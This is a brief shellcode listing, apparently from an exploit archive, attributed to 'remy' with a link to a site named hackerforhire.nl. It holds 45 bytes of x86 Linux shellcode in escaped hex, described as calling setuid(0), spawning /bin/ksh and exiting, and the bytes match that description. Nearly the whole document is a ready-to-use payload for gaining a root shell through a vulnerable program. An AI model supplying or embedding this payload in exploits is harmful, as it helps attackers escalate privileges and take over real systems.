This is a 45 byte shellcode which does a setuid(0), execve /bin/ksh, exit().
9049d919acbeaa06ec4e73679271881418a307bc1916eab52b53f16637318c1b
setuid(0),execve /bin/ksh ,exit()
\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80
\x31\xc0\x50\x68\x2f\x6b\x73\x68\x68\x2f
\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50
\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0
\xb0\x01\xcd\x80
by remy.
http://www.hackerforhire.nl